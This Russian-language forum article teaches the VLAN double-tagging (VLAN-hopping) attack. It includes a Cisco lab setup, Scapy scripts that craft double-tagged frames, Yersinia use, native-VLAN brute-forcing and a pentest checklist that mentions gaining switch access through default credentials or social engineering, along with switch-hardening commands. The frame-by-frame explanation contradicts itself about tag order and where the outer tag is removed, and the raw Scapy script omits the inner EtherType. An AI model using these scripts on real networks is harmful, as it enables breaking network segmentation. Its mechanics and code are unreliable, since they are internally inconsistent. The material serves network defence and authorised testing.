xzotique
Grey Team
- 24.03.2020
- 113
- 451
Забудь всё, что тебе рассказывали о безопасности VLAN на курсах. Мы говорим об атаке Double Tagging (VLAN Hopping) - не как об уязвимости из прошлого, а как о живом, работающем методе нарушения L2-сегментации в 20-х годах.
Мы не будем цитировать стандарты IEEE. Вместо этого мы соберём полигон из виртуальных свичей, вскроем Wireshark и наглядно покажем, как кадр с двумя тегами обманывает коммутатор, заставляя его молча провести врага из гостевой сети в серверный сегмент. Вы узнаете не только механику, но и каждую деталь настройки, которая превращает абстрактную угрозу в реальную дыру.
Мы предоставим вам полный арсенал: рабочие конфигурации для стенда (Cisco, но с оглядкой на другие вендоры), готовые скрипты на Python с использованием Scapy для генерации «двойных» кадров, и методику проверки вашей собственной сети на уязвимость. Разберём мифы («у нас современное оборудование, это не сработает») и покажем, почему смена native VLAN и команда
vlan dot1q tag native - это не «лучшие практики», а необходимый минимум выживания.Статья написана для сетевых инженеров и администраторов, которые устали от поверхностных обзоров и хотят докопаться до сути. Для тех, кто понимает, что безопасность начинается не с дорогого NGFW, а с честного взгляда на конфигурацию L2-коммутаторов. Будет подробно, технически честно и без скидок на «сложность».
Статья большая, детальная и потребует времени.
Но после неё вы больше никогда не будете настраивать trunk-порт командой switchport trunk native vlan 1. И это будет ваша первая победа.
Иллюзия безопасности и запах жжёной изоляции
Давай начистоту. VLAN - это один из самых гениальных и одновременно самых предательских механизмов в сетях. Гениальных - потому что дешёво, сердито и на уровне L2 позволяет создать логическую изоляцию там, где физически её нет. Предательских - потому что 90% админов, вбив команды, искренне верят, что теперь у них есть «отдельная сеть». Щит опущен, магия работает. Особенно после прохождения какого-нибудь CCNA, где тебе на картинках рисуют аккуратные облачка: VLAN 10 - финансы, VLAN 20 - гости, VLAN 666 - тестовые серверы, и между ними - либо роутер, либо файрвол, где правила написаны кровью.
А теперь представь, что кто-то из «гостевой» сети, не имея IP-адреса в сети финансов, не проходя ни одну проверку, может отправить кадр прямиком в сегмент финансов, и свич его честно доставит. Не обойдя, не взломав, а так, как будто этот кадр там и родился. И свич будет считать, что всё по стандарту. Это не 0-day, не эксплоит прошивки. Это фундаментальная особенность работы механизма тегирования 802.1Q, если его неправильно (а часто - «как все») настроили. Это атака Double Tagging, она же VLAN Hopping с двойным тегом. Скромная, тихая, элегантная в своей простоте.
Почему мы об этом говорим? Потому что мейнстрим - это курсы, где тебе показывают как настроить, но не показывают как сломать. Мейнстрим - это документация вендора, которая сухо описывает команды. Мейнстрим - это уверенность, что если у вас «умные» свичи, то они умные во всём. Хакерский же подход - это солидарность с железом. Понимать, как оно на самом деле обрабатывает биты, а не как об этом написано в презентации. Это техническая честность перед самим собой: «Я настроил VLAN, но где дыры?».
Итак, если ты готов спуститься с облаков диаграмм в мир raw-кадров, hex-дампов и обработки «на лету» - поехали. Статья будет строиться так:
- Ликбез без соплей: Что такое тег 802.1Q на уровне битов, как его видит свич, хост и что такое native VLAN (и почему это твой главный враг).
- Механика атаки Double Tagging: Пошагово, кадр за кадром. Почему она работает только в одном направлении (выход -> цель) и при specific conditions.
- Полигон: Поднимаем стенд. Виртуалки, старые железные свичи - не важно. Инструменты: Scapy (наш меч и щит), возможно Wireshark с сырыми сокетами, maybe Yersinia для ленивых. Будем собирать кадры своими руками.
- Детали, которые решают всё: Где именно должна сидеть жертва? Какой порт должен быть у атакующего? Что происходит с native VLAN на trunk? Почему «лучшие практики» - это не просто слова.
- Контратака и правильная паранойя: Исчерпывающий список того, что нужно проверить в конфиге каждого свича. Не просто «сделайте так», а «если вы не сделаете так, то вот что сможет сделать атакующий...».
- Мифы и легенды: «На свичах Huawei это не работает», «У Cisco есть защита», «Да это же старая тема, все уже пофиксили». Разберём.
- Сценарии использования в пентесте: Не для криминала, а для понимания уязвимости своего периметра. Как включить эту проверку в свой чек-лист.
802.1Q - не «вилан», а тугой наручниковый хомут для кадра
Забудь на минуту слово «VLAN». Представь обычный Ethernet-кадр. Dest MAC, Src MAC, Type/Length, Data, FCS. Всё просто. Потом пришли умники из IEEE и сказали: «А давайте впихнём между Src MAC и Type 4 байта метаданных!». Так родился 802.1Q.
Смотри на разметку (буду иногда давать hex, это наш хлеб):
Код:
[Обычный кадр]
| Dest MAC (6) | Src MAC (6) | Type (2) | Данные (46-1500) | FCS (4) |
[Тегированный кадр (802.1Q)]
| Dest MAC (6) | Src MAC (6) | **0x8100 (2)** | **TCI (2)** | Type (2) | Данные | FCS |
Вот эти 4 байта - и есть всё. 0x8100 - это индикатор, крик кадра «Эй, свич, на мне есть тег! Я особенный!». Дальше идёт TCI (Tag Control Information):
- Priority (3 бита) - для QoS (COS). Нам не критично.
- CFI (1 бит) - Canonical Format Indicator, почти всегда 0.
- VLAN ID (12 бит) - ВОТ ОНО. Наше всё. Число от 0 до 4095. Но! VLAN 0 - это приоритетный тег, VLAN 1 - обычно дефолтный, VLAN 4095 - зарезервирован.
Он смотрит на таблицу MAC-адресов, но привязанную к конкретному VLAN. У него не одна большая MAC-таблица, а много маленьких: mac address table vlan 10, vlan 20 и т.д. Когда кадр приходит на порт, свич должен понять: «К какому VLAN ты принадлежишь?». Варианты:
- Порт в режиме access (клиентский): На нём тегов быть не должно. Если пришёл кадр без тега, свич «надевает» на него локальный тег (PVID, Port VLAN ID) и говорит: «Ты из VLAN XX». Все решения дальше - по этому тегу.
- Порт в режиме trunk (магистральный): Ожидается, что кадры будут с тегами. Свич читает VLAN ID из тега и обрабатывает кадр в контексте этого VLAN. Всё честно.
А что, если на trunk-порт пришёл кадр БЕЗ тега? Куда его деть? Инженеры подумали и ввели концепцию Native VLAN (он же untagged VLAN на trunk). Это VLAN, чьи кадры могут ходить по trunk-порту без тега. По умолчанию на многих свичах это VLAN 1. Свич, получив на trunk-порт кадр без тега, думает: «Ага, это кадр для native VLAN (допустим, VLAN 1)». И обрабатывает его как кадр VLAN 1.
Это и есть наша ахиллесова пята. Запомни: Native VLAN - это дыра в логике изоляции на trunk-порту. Она есть всегда. Вопрос лишь в том, насколько она контролируема.
Механика Double Tagging - фокус с двумя конвертами
Представь: есть два конверта. Внутренний с надписью «Для бухгалтерии (VLAN 10)». Внешний с надписью «Для курьеров (VLAN 1, он же native)». Ты - курьер (атакующий). Ты приходишь на склад (trunk-порт свича), видишь ящик «Для курьеров». Кладёшь свой двойной конверт в этот ящик. Работник склада (первый свич) видит внешний конверт «Для курьеров», снимает его и кладёт внутренний конверт в ящик «Для бухгалтерии». Внутренний конверт уходит прямиком в бухгалтерию, минуя все проверки на дверь.
Теперь технически.
Сценарий:
- Атакующий (A): Физически подключён к порту в режиме access, VLAN X (где X - native VLAN на каком-то trunk-порту в сети, часто VLAN 1).
- Жертва (V): Находится в access-порту, VLAN Y (допустим, VLAN 10).
- Свич (SW1): К которому подключён атакующий. Имеет trunk-порт (допустим, uplink) с настройкой native VLAN = X (VLAN 1).
- Свич (SW2): Который находится «за» trunk-портом и на котором «висит» жертва из VLAN Y.
- Подготовка кадра: Атакующий создаёт кадр с ДВУМЯ тегами 802.1Q. Внутренний (первый по порядку в битах) тег - целевой VLAN жертвы (Y=10). Внешний (второй) тег - native VLAN (X=1). Внешний тег для атакующего - как пропуск на первый этаж. Важно: кадр отправляется без Ethernet-тега от сетевой карты. Атакующий формирует его на низком уровне (raw socket, Scapy), вставляя теги прямо в данные кадра.
Код:[Кадр от атакующего] | Dest MAC (V) | Src MAC (A) | 0x8100 | TCI (VLAN 1) | 0x8100 | TCI (VLAN 10) | Type | Данные | FCS |
- Приём на access-порту (SW1, порт A): Свич SW1 получает кадр на порту, настроенном как switchport mode access, switchport access vlan 1. Он видит, что тега нет? Подожди. В данных кадра после Src MAC идёт 0x8100. Но свич на access-порту НЕ ОЖИДАЕТ тегов. Однако, многие реализации (особенно старые) не проводят глубокий анализ. Они видят 0x8100 и думают: «О, это тег! Но порт access, я должен его снять? Или это данные?». Чаще всего, они трактуют этот 0x8100 как начало поля Type/Length. Поскольку 0x8100 > 0x05DC (1500), это интерпретируется как EtherType, а не длина. Свич говорит: «Ладно, EtherType=0x8100 (что странно, это же тег), но окей, дальше идут данные». И он НЕ СНИМАЕТ ВНЕШНИЙ ТЕГ. Он просто пропускает кадр дальше, пометив его как принадлежащий access VLAN этого порта (VLAN 1). Для него кадр уже как бы принадлежит VLAN 1.
- Передача на trunk-порт (SW1, uplink): Кадр, теперь внутренне помеченный как VLAN 1, должен быть отправлен на trunk-порт. Правило для trunk: «Если кадр для native VLAN (1) - отправляй его без тега». Свич SW1 ВИДИТ внешний тег (VLAN 1) в данных? Нет! Он же не распарсивал его как тег на шаге 2. Для SW1 это просто данные. Единственный тег, который он знает - это служебная пометка «это кадр VLAN 1». Поэтому он выполняет правило для native VLAN: снимает служебную пометку и отправляет кадр на trunk БЕЗ ТЕГА 802.1Q. Но в данных-то кадра всё ещё лежат наши два тега!
Код:[Кадр на выходе с trunk-порта SW1, в проводе] | Dest MAC | Src MAC | 0x8100 | TCI (VLAN 1) | 0x8100 | TCI (VLAN 10) | Type | Данные | FCS |
Обрати внимание: физически в проводе это идентично тому, что отправил атакующий. Свич SW1 просто проигнорировал двойной тег, обработав порт access. - Приём на другом конце trunk (SW2): Кадр без тега приходит на trunk-порт SW2. SW2 проверяет: «Кадр без тега? Значит, это для native VLAN». Он навешивает на кадр внутреннюю пометку native VLAN (допустим, тоже VLAN 1) и начинает обрабатывать. Но! В данных кадра снова встречается 0x8100. Теперь уже на trunk-порту, который УМЕЕТ читать теги. SW2 парсит кадр и видит: «О, так тут же есть тег! Первый тег говорит VLAN=1. Это как раз наш native VLAN, окей. А за ним... Второй тег? VLAN=10!». И вот здесь происходит магия. Многие свичи (особенно старые или с определёнными настройками) обрабатывают только первый тег. Они видят первый тег (VLAN 1), снимают его и передают кадр дальше на обработку. Но второй тег (VLAN 10) остаётся в данных! И когда кадр, уже с одним оставшимся тегом VLAN 10, попадает в механизм коммутации SW2, свич смотрит: «Так, у кадра есть тег VLAN 10. Значит, он для VLAN 10. Ищу порт, куда его отправить...». И отправляет его на access-порт, где сидит жертва V.
- Жертва получает кадр: На порту жертвы стоит switchport mode access, switchport access vlan 10. Свич SW2, отправляя кадр на этот порт, снимает тег VLAN 10 (правило для access-порта - отдавать без тега). Жертва получает обычный кадр Ethernet, как будто он пришёл от соседа по тому же VLAN 10. Для неё отправитель (MAC A) находится в её же сегменте.
Важные ограничения атаки:
- Однонаправленность: Атакующий может инициировать общение с жертвой, но жертва будет отвечать в свой VLAN 10. Ответные пакеты пойдут обычным путём, через роутер (если есть маршрутизация между VLAN), и до атакующего не дойдут. Поэтому атака идеальна для одноразовых действий: отравление ARP, отправка эксплойта, DoS.
- Зависимость от конфигурации: Должны совпасть: 1) VLAN атакующего = native VLAN на каком-то trunk; 2) На trunk-портах допускается передача кадров без тега (а они почти всегда допускаются); 3) Свичи на пути обрабатывают только первый тег.
- Физический доступ или обман: Атакующий должен быть в том VLAN, который является native на trunk. Это либо физический доступ в «гостевую»/дефолтную сеть, либо предварительно скомпрометированная система в этой сети.
Полигон. Берем в руки Scapy и показываем магию вживую
Теория без практики - это как свич без питания. Разворачиваем стенд. Минимум: две виртуалки (атакующий и жертва) и виртуальный свич. Идеально - GNS3/EVE-NG с реальными образами Cisco IOS (например, 3725). Можно использовать и Linux в режиме моста (bridge) для имитации простого свича, но для наглядности возьмём Cisco.
Стенд:
- SW1: Cisco IOS. Port Fa0/1 (access, vlan 1) -> Атакующий (Kali Linux). Port Fa0/24 (trunk, native vlan 1, allowed vlans all) -> SW2.
- SW2: Cisco IOS. Port Fa0/24 (trunk, native vlan 1, allowed vlans all) -> SW1. Port Fa0/10 (access, vlan 10) -> Жертва (Ubuntu).
- Атакующий: IP 192.168.1.10/24 (VLAN 1).
- Жертва: IP 192.168.10.10/24 (VLAN 10).
- Роутер (или L3 интерфейс на SW2) для маршрутизации между VLAN не обязателен для самой атаки.
На SW1:
Код:
SW1# configure terminal
SW1(config)# vlan 10
SW1(config-vlan)# exit
SW1(config)# interface FastEthernet0/1
SW1(config-if)# switchport mode access
SW1(config-if)# switchport access vlan 1
SW1(config-if)# spanning-tree portfast
SW1(config-if)# exit
SW1(config)# interface FastEthernet0/24
SW1(config-if)# switchport mode trunk
SW1(config-if)# switchport trunk native vlan 1
SW1(config-if)# switchport trunk allowed vlan all
SW1(config-if)# end
SW1# write memory
На SW2:
Код:
SW2# configure terminal
SW2(config)# vlan 10
SW2(config-vlan)# exit
SW2(config)# interface FastEthernet0/10
SW2(config-if)# switchport mode access
SW2(config-if)# switchport access vlan 10
SW2(config-if)# spanning-tree portfast
SW2(config-if)# exit
SW2(config)# interface FastEthernet0/24
SW2(config-if)# switchport mode trunk
SW2(config-if)# switchport trunk native vlan 1
SW2(config-if)# switchport trunk allowed vlan all
SW2(config-if)# end
SW2# write memory
Обрати внимание: native vlan 1 на trunk. Это наша цель.
Инструмент №1: Scapy - наш швейцарский нож.
Устанавливаем на Kali: apt-get install scapy. Запускаем Python-интерпретатор или пишем скрипт.
Сначала проверим связность обычным способом. С атакующего пингуем жертву: ping 192.168.10.10. Не пройдёт, ибо разные VLAN, нет маршрута. Отлично, изоляция на лицо.
Теперь создаём кадр с двойным тегом.
Python:
#!/usr/bin/env python3
from scapy.all import *
import sys
# Интерфейс, через который отправляем (узнай свой, ifconfig)
iface = "eth0"
# MAC-адреса
target_mac = "xx:xx:xx:xx:xx:xx" # MAC жертвы (узнай через arp, если был доступ до роутера, или предположи)
attacker_mac = get_if_hwaddr(iface) # Наш MAC
# Создаём Ethernet-кадр
# Важно: Scapy по умолчанию при отправке через sendp() сама проставляет EtherType.
# Нам нужно вручную собрать весь кадр, включая "сырые" теги.
# Сконструируем кадр как Raw-данные в Ether-фрейме.
# Строим байтовую строку вручную (это сердце атаки)
# Формат: Dest MAC (6) | Src MAC (6) | 0x8100 | TCI_VLAN1 | 0x8100 | TCI_VLAN10 | EtherType (0x0800 для IP) | IP/UDP/данные...
# TCI: Priority (0) 3b, CFI (0) 1b, VLAN ID (1) 12b = 0x0001 для VLAN 1
tci_vlan1 = 0x0001
# TCI для VLAN 10 = 0x000A
tci_vlan10 = 0x000A
# Собираем пакет
# 1. Ether-заголовок без типа (мы его добавим вручную в raw)
eth = Ether(dst=target_mac, src=attacker_mac)
# Убираем автоматический Ether.type, он будет частью raw
eth.type = 0x8100 # Внимание! Это хак. Мы говорим Scapy, что сразу после MAC-адресов идёт тег 0x8100.
# 2. Создаём "внутренности" кадра: второй тег + IP-пакет
# Создаём простой IP-пакет (например, ICMP echo request)
ip = IP(src="192.168.1.10", dst="192.168.10.10")
icmp = ICMP(type=8, code=0) # Echo request
# 3. Собираем всё в кучу. Здесь нужна осторожность.
# Правильный способ - использовать Raw-слои.
# Первый тег (VLAN 1) уже учтён в eth.type = 0x8100. Нужно добавить TCI для VLAN1, потом второй тег целиком.
raw_vlan1 = struct.pack('!H', tci_vlan1) # 2 байта TCI для VLAN1 в сетевом порядке
# Второй тег целиком: EtherType 0x8100 + TCI VLAN10
raw_vlan2 = struct.pack('!HH', 0x8100, tci_vlan10)
# Теперь собираем окончательный пакет
# Порядок: Ether (с type=0x8100) -> raw_vlan1 (TCI VLAN1) -> raw_vlan2 (0x8100+TCI VLAN10) -> IP -> ICMP
packet = eth / Raw(load=raw_vlan1 + raw_vlan2) / ip / icmp
# 4. Отправляем
print(f"Отправка double-tagged кадра с {attacker_mac} на {target_mac}...")
sendp(packet, iface=iface, verbose=True)
Это упрощённый пример. В реальности нужно точно знать, как Scapy собирает кадры. Более надёжный способ - создать весь кадр как Raw и отправить через sendp(Raw(...)), но тогда нужно самому рассчитать FCS (контрольную сумму), что сложно. Scapy делает это за нас, если мы правильно используем слои.
Альтернативный, более прямолинейный способ через Dot1Q-слои Scapy:
Scapy имеет встроенные классы Dot1Q для тегов. Но по умолчанию они предназначены для одиночного тегирования. Мы можем попробовать вложить их:
Python:
from scapy.all import *
packet = Ether(dst=target_mac, src=attacker_mac) / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=10) / \
IP(src="192.168.1.10", dst="192.168.10.10") / \
ICMP()
sendp(packet, iface=iface)
ВНИМАНИЕ: Этот метод может не сработать как задумано, потому что Scapy, отправляя такой пакет через обычный интерфейс, может попытаться «исправить» его, или ОС/драйвер сетевой карты может отказаться отправлять кадр с двумя тегами. Для чистоты эксперимента нужно использовать raw-сокеты или специальные режимы (например, TAP-интерфейсы). Однако на многих системах с обычными сетевыми картами и драйверами отправка через sendp() срабатывает.
Что мы должны увидеть?
Запускаем Wireshark на интерфейсе жертвы (VLAN 10). Запускаем наш скрипт на атакующем. В идеале, на интерфейсе жертвы мы должны увидеть ICMP Echo Request, пришедший БЕЗ тега 802.1Q, но с исходным IP-адресом атакующего из другой подсети. Это будет доказательством успеха. Сам атакующий ответа не увидит (однонаправленность).
Инструмент №2: Yersinia - готовый инструмент для ленивых.
Yersinia - это известный фреймворк для атак на L2-протоколы (STP, DTP, VTP, CDP, 802.1Q и т.д.). Установка: apt-get install yersinia. Запуск в режиме интерфейса: yersinia -I. Выбираем протокол 802.1Q и ищем опцию «double tagging» или «VLAN hopping». Yersinia может автоматически сгенерировать и отправить такие кадры. Это полезно для быстрого тестирования, но для понимания механики лучше написать свой скрипт.
Дьявол в деталях. Без этого раздела твоя атака - просто флуд
Ты мог подумать: «Ну, два тега, native vlan 1... понятно». Но чтобы атака сработала в реальной, а не лабораторной сети, нужно учесть тонкости.
1. Определение Native VLAN атакующего.
Атакующий сидит в VLAN X. Как узнать, что этот X является native на каком-то trunk? Варианты:
- Пассивное наблюдение: Прослушать трафик на своём порту. Если видны кадры БЕЗ тега 802.1Q (в Wireshark они отображаются как обычные Ethernet), а твой порт access, то высока вероятность, что это кадры native VLAN, «просочившиеся» с trunk. Это индикатор.
- Активное зондирование: Отправлять кадры с двойным тегом, где внешний тег перебирается от 1 до 4094, а внутренний - VLAN предполагаемой жертвы. Если жертва отвечает (например, на ARP-запрос) - угадали. Но помни про однонаправленность, ответа не будет. Можно использовать индикацию на стороне жертвы (логи) или отправить кадр, который вызовет видимую реакцию (например, сброс TCP-соединения, если известен порт).
- Эксплуатация протоколов: Протоколы вроде DTP (Dynamic Trunking Protocol) могут раскрыть информацию о конфигурации trunk, включая native VLAN. Команда show dtp interface на скомпрометированном свиче или перехват DTP-кадров.
Современные «лучшие практики» требуют менять native VLAN на что-то неиспользуемое, например, VLAN 999. Это хорошая защита. Если native VLAN на trunk -это VLAN 999, а атакующий сидит в VLAN 1, атака double tagging НЕ СРАБОТАЕТ. Потому что на шаге 3 SW1 не станет отправлять кадр для VLAN 1 без тега на trunk, где native VLAN = 999. Он отправит его с тегом VLAN 1, и на SW2 этот тег будет обработан, и кадр останется в VLAN 1. Так что смена native VLAN - это эффективная контрмера. Но! Если атакующий каким-то образом попал в VLAN 999 (тот самый неиспользуемый), то атака снова становится возможной.
3. Обработка несколькими тегами (Q-in-Q).
В провайдерских сетях часто используется Q-in-Q (802.1ad), где два тега - это норма (C-VLAN и S-VLAN). Свичи, поддерживающие это, могут корректно обрабатывать два и более тега. В таком случае, наш double-tagged кадр будет интерпретирован как легитимный кадр Q-in-Q, и внутренний тег (VLAN 10) НЕ БУДЕТ раскрыт на стороне клиента (жертвы). Кадр будет передан клиенту с одним тегом (внешним) или без тегов, в зависимости от конфигурации. Это может помешать атаке, но открывает другие векторы (например, если провайдерский свич некорректно настроен).
4. А если на пути несколько хопов?
Между SW1 и SW2 может быть не один свич, а цепочка. Важно, чтобы на ВСЕХ промежуточных trunk-портах native VLAN совпадал с VLAN атакующего, и чтобы все они следовали одному и тому же правилу: «кадры для native VLAN отправлять без тега». Если на каком-то промежуточном свиче native VLAN другой, он вставит тег для своего native VLAN, и кадр «испортится».
5. Защита на стороне получателя (жертвы).
Современные сетевые карты и драйверы серверов могут быть настроены на отбрасывание кадров с тегами 802.1Q (если это не ожидается). Это называется «VLAN filtering» на уровне NIC. Если у жертвы включена такая фильтрация, то кадр со вторым тегом (VLAN 10) может быть отброшен уже на её сетевой карте, даже если свич его доставил. Но это не надежно, так как на access-порту свич должен снять тег перед отправкой.
Контратака и паранойя. Делаем сеть крепкой
Итак, мы поняли, как это работает. Теперь - как защититься. Не просто «запретить», а понять, каждая мера - против какого этапа атаки она направлена.
Мера №1 (Самая важная): Измени Native VLAN на trunk-портах.
Код:
interface GigabitEthernet0/24
switchport trunk native vlan 999
Выберите VLAN, который не используется ни для чего больше. Создайте его, но не назначайте access-порты. Это VLAN-призрак. Теперь даже если атакующий в VLAN 1, его кадры будут уходить на trunk с тегом, и второй свич будет держать их в VLAN 1. Атака не пройдёт.
Мера №2: Явно запретите неиспользуемые VLAN на trunk.
switchport trunk allowed vlan 10,20,30,999Уберите VLAN 1 из списка разрешённых. Да, это возможно. switchport trunk allowed vlan remove 1. Если VLAN атакующего (1) не разрешён на trunk, то кадры для него даже не будут передаваться. Это убивает атаку наповал. Но осторожно: некоторые служебные протоколы (например, CDP, DTP, PAgP) могут использовать VLAN 1. Убедитесь, что это не сломает управление.
Мера №3: Включите защиту от подмены native VLAN.
На Cisco это vlan dot1q tag native. Эта команда заставляет свич отправлять кадры native VLAN С ТЕГОМ. Да, даже кадры native VLAN будут тегированными. Это полностью уничтожает основу атаки double tagging, потому что теперь на trunk-порту НЕТ кадров без тега. Любой кадр без тега на таком порту будет отброшен. Включайте эту команду на ВСЕХ trunk-портах с обеих сторон.
Код:
interface GigabitEthernet0/24
vlan dot1q tag native
Внимание: Это может сломать связь со старым оборудованием, которое ожидает untagged кадры в native VLAN. Все устройства на концах trunk должны поддерживать и быть настроены на один и тот же режим.
Мера №4: Отключите неиспользуемые порты и поставьте их в access-порт ненужного VLAN.
Код:
interface range GigabitEthernet0/15 - 23
switchport mode access
switchport access vlan 999
shutdown
Это базовая гигиена. Не даёт подключиться физически к порту, который сразу окажется в безопасном изолированном сегменте.
Мера №5: Используйте PACL (Port ACL) или VACL (VLAN ACL) на уровне L2.
Можно создать ACL, который на access-порту атакующего будет отбрасывать кадры с EtherType 0x8100 (тегом 802.1Q). Но это ресурсоёмко и не всегда поддерживается на всех платформах. Пример для Cisco (настройка сложная):
Код:
mac access-list extended BLOCK_DOT1Q
deny any any 0x8100 0x0
permit any any
interface Gi0/1
mac access-group BLOCK_DOT1Q in
Это остановит кадр с двойным тегом прямо на входе, так как свич распознает первый 0x8100 как попытку инкапсуляции.
Мера №6: Отключите ненужные протоколы канального уровня.
Код:
interface GigabitEthernet0/24
no cdp enable
no lldp receive
no lldp transmit
no dtp auto
no dtp desirable
DTP (Dynamic Trunking Protocol) - зло. Выключайте его. Явно настраивайте trunk/access. Это предотвращает возможность для атакующего превратить свой access-порт в trunk и самому стать частью магистрали.
Мера №7: Мониторинг.
Ищите в логах:
- Попытки отправить тегированные кадры на access-порты (на некоторых свичах это генерирует syslog).
- Изменения состояния порта (с access на trunk).
- MAC-адреса, появляющиеся сразу в нескольких VLAN (это сложно, но возможно при использовании функций отслеживания).
- На всех trunk-портах switchport trunk native vlan 999 (где 999 - неиспользуемый).
- На всех trunk-портах vlan dot1q tag native (если поддерживается и согласовано).
- На всех trunk-портах явно switchport trunk allowed vlan (список нужных, без 1 и 999).
- На всех access-портах явно switchport mode access и switchport access vlan X.
- На всех неиспользуемых портах shutdown.
- Везде no dtp auto, no dtp desirable, на trunk-портах switchport nonegotiate.
- Рассмотреть возможность использования мак-фильтрации (Port-Security) на критичных access-портах.
- Использовать защитные механизмы на коммутаторе: BPDU Guard, Root Guard на портах, где не должно быть STP корня.
- Провести тестирование на проникновение силами своей команды. Попробовать провести double tagging атаку из «гостевой» сети в «серверную». Если получилось - конфиг не идеален.
Миф 1: «На современных свичах это пофиксили».
Не совсем. «Пофиксили» обычно означает, что на access-порту по умолчанию включена проверка на наличие тегов, и кадры с тегом 0x8100 отбрасываются. Например, на многих свежих прошивках Cisco есть неявное поведение или команда switchport host (которая включает portfast и другие защиты). Но это зависит от модели, версии IOS и конфигурации. Всегда проверяй: show interface gi0/1 switchport. Если в выводе есть строка «Discard Tagged Frames» или что-то подобное - хорошо. Но рассчитывать на это по умолчанию нельзя. Защиту нужно настраивать.
Миф 2: «Если у нас везде настроен MSTP или PVST+, это не сработает».
STP (Spanning Tree Protocol) работает на уровне, отличном от обработки тегов. Он предотвращает петли, но не анализирует двойные теги внутри кадра. Атака double tagging абсолютно независима от STP.
Миф 3: «Это старая атака, все уже знают».
Знать и применять - разные вещи. В погоне за сложными угрозами (APT, zero-days) многие забывают проверить базовые вещи. Аудит безопасности L2-сети часто ограничивается проверкой паролей и версий прошивок, забывая про анализ конфигурации trunk/access портов. Эта атака остаётся в арсенале пентестеров именно потому, что находит уязвимости там, где их «не может быть».
Миф 4: «У нас Cisco, а у них Juniper, поэтому не сработает из-за разной реализации».
Стандарт 802.1Q - один. Разные вендоры могут по-разному обрабатывать двойные теги (некоторые могут их отбрасывать, некоторые обрабатывать как QinQ), но если настройки стандартные (native vlan 1, теги не обязательны), вероятность успеха высока. Межвендорное взаимодействие часто увеличивает риск, так как админы могут не до конца понимать тонкости настройки чужого оборудования.
Миф 5: «Мы используем только L3, у нас коммутация только на access-уровне».
Если между зданиями или этажами у вас идёт маршрутизация (L3), а внутри этажа - коммутация (L2), то атака возможна внутри одного коммутаторного домена (этажа). Достаточно, чтобы на uplink-портах к L3-устройству (которое, по сути, для свича является trunk) был неправильно настроен native VLAN.
Включение в практику пентеста
Если ты - белый хакер или админ, проверяющий свою сеть, вот как добавить эту проверку в свой арсенал.
Фаза рекогносцировки:
- Определи IP-подсети и предположительные VLAN (по маскам, по данным от клиента).
- Попробуй получить доступ к консоли свича (через уязвимость, default creds, social engineering). Команды: show vlan brief, show interfaces trunk, show running-config | section interface.
- Если нет доступа к конфигурации - переходи к активному тестированию.
- Залетай в какую-либо сеть (например, гостевой Wi-Fi, офисная сеть). Это будет твоя точка входа (VLAN X).
- Собери информацию: свой IP, шлюз, пропиши arp -a, посмотри трафик (Wireshark). Есть ли кадры без тегов? Возможно, это native VLAN.
- Выбери целевую VLAN (например, серверную). Узнай её IP-диапазон (сканированием сети через шлюз, если он маршрутизирует, или из утекшей документации).
- Определи MAC-адрес цели (через arp ping, если есть маршрут, или предположив шлюз по умолчанию для той сети).
- Запусти скрипт double tagging с внешним тегом = предположительный native VLAN (часто 1), внутренним = целевой VLAN (например, 10). В качестве полезной нагрузки - ARP-запрос или TCP SYN на известный порт (например, 80, 443).
- Наблюдай. Если есть возможность разместить сниффер в целевой VLAN (согласованный тест!) - смотри, пришёл ли кадр. Если нет - косвенные признаки: ответ от сервера (маловероятно), или срабатывание IDS/IPS (что уже успех, так как выявило уязвимость).
- Если не сработало с VLAN 1, попробуй другие кандидаты на native VLAN (часто 99, 666, 999, 4094). Можно написать скрипт для перебора.
В отчёте не пиши просто «обнаружена уязвимость double tagging». Объясни бизнесу:
- Риск: Нарушение сегментации сети. Гость может потенциально атаковать серверы финансового отдела напрямую, минуя межсетевой экран.
- Условия: Показать конфигурацию trunk-портов (из вывода команд).
- Вектор: Откуда (VLAN X) и куда (VLAN Y) возможна атака.
- Доказательство Concept: Скриншот Wireshark в целевой VLAN с полученным пакетом от тестовой системы.
- Рекомендации: Чёткий список команд для исправления (см. Главу 5). Приоритет: Высокий.
Итак, что у нас в сухом остатке? Если ты дочитал до этого места, потратил время на осмысление и, возможно, даже повторил это на стенде - ты уже не тот сетевой инженер, что был до начала статьи. Ты прошёл путь от абстрактного «VLAN = изоляция» до грубой материи кадров, где изоляция - это хрупкий договор между корректной конфигурацией каждого порта на каждом устройстве. Это и есть техническая честность - видеть систему не такой, как о ней пишут в блогах, а такой, какой её видит процессор коммутатора: поток байтов, правила сопоставления и таблицы.
Double Tagging - это не просто «ещё одна уязвимость». Это симптом фундаментального разрыва между абстракцией (логическая сеть) и её реализацией (физическая обработка кадров). Симптом, который проявляется каждый раз, когда мы слепо доверяем умолчальным настройкам, пренебрегаем тонкостями стандартов или думаем, что сложность системы сама по себе является защитой.
Давай резюмируем самое важное, но уже на новом уровне понимания:
- Главный враг - незнание, а иллюзия знания. Ты мог десять лет настраивать VLAN и не задумываться о native VLAN на trunk. Потому что «всё работало». Атака double tagging - это жёсткий урок: незнание механизма делает тебя уязвимым. Теперь ты знаешь. И это знание обязывает.
- Безопасность L2 - это не features, а hygiene. Не нужно покупать «волшебные» коробки для защиты от этого. Защита заключается в скрупулёзной, тотальной гигиене конфигурации:
- Ликвидация VLAN 1: Выгнать его отовсюду, где только можно. С access-портов, из allowed list на trunk, и, главное, перестать использовать как native.
- Агрессивный харденинг trunk: switchport nonegotiate, vlan dot1q tag native, явный allowed vlan - это не рекомендации, а мандат.
- Параноидальный контроль access-портов: Мак-фильтрация, отключение неиспользуемого, BPDU Guard. Каждый порт - это потенциальная точка входа, и он должен быть максимально узким.
- Инструменты - продолжение воли. Scapy, Yersinia, даже простой tcpdump - это не «хакерский софт», а инструменты инженерной диагностики. Если ты не умеешь сгенерировать проблемный кадр, ты никогда не сможешь быть уверен, что твоя сеть от него защищена. Навык нападения - необходимая часть мастерства защиты. Ты должен уметь думать как атакующий, чтобы опережать его.
- Солидарность с железом и кодом. Настоящее понимание приходит, когда ты перестаёшь видеть в коммутаторе магическую чёрную коробку, а начинаешь представлять его логику: «Вот тут он смотрит на байты 13-14... Вот тут, если порт access, он добавляет internal PVID... А вот тут, если native и untagged - стирает заголовок». Эта ментальная модель - твой главный актив. Она позволит течь не только double tagging, но и предвидеть проблемы с QinQ, VXLAN, да с чем угодно.
- Передача эстафеты. Теперь твоя очередь. Сделай следующее:
- Немедленно: Выполни show interfaces trunk на всех своих основных коммутаторах. Выпиши все native VLAN. Если видишь везде «1» - пора бить тревогу.
